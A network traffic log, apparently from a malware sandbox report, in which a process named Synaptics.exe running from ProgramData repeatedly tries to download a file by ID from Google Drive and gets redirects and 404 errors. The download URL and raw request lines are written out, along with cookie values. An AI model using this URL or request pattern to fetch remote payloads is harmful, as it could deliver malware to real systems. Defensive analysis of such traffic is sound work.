2025-01-02 19:28:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-sJkmN1d1OdWl_ovGWW04Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49750	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-oP5fPKlbKx864U8t-rWqQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49751	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:48 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6CNHwX9ByHVXLK2Y9Mwd1W8viNGc9rxnwqof6_zCnMcKd-18W1uKplLlKEvywA466z Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-K1csnrv3Ux_WCWGxo_1g2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I; expires=Fri, 04-Jul-2025 19:28:48 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:48 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6b 79 4b 31 49 6f 6a 62 64 4a 66 51 57 4c 62 43 31 65 6f 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="okyK1IojbdJfQWLbC1eopg">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:48 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49753	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:48 UTC	1601	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ZwEnc1PIb9I5MrNJdEstaIf-fWQDifZcFfCBG4QZSHQSbyeihm2h9Y1MoHKXibzE06zSbEFM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-RFAbyrQyclH2TtKasGQgrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0; expires=Fri, 04-Jul-2025 19:28:48 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:48 UTC	1601	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 49 4f 4d 41 46 36 36 51 33 49 6c 6e 70 39 34 38 6b 38 75 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1IOMAF66Q3Ilnp948k8uJA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:48 UTC	51	IN	Data Raw: 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: his server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49760	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-LN6Pmww0t0ls43srsQprxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49761	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7VNeC4wTkmrgOssF33unlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49763	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:28:49 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7gj7_b01SB6FOTz6_v_j-HVhU2FRmuINHpSdtZaLmswnDBeKtv8RkGPB9zsAujc1JH Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:49 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-z2ou07_Y7Fb5ypCiiRoJ1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:49 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:49 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 63 6d 30 4f 6b 6b 71 6f 54 56 47 36 57 47 34 70 36 67 37 49 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Dcm0OkkqoTVG6WG4p6g7Iw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:49 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49771	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49784	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:51 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4g0-41Yd7urjb8YlZe0p7oF1IxGPBtka-XDS_GqTinRWdaVfx2yLiyap4aTubjItYxVzoMiE8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Sd3jW0SFVWaRzaOeMy3xPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:51 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:51 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 46 38 33 36 4c 5f 69 58 6b 4d 68 35 52 65 68 63 67 58 76 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="zF836L_iXkMh5RehcgXvpg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:51 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49783	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-BCfUkGMgFG3zLp8plAhpVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49782	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
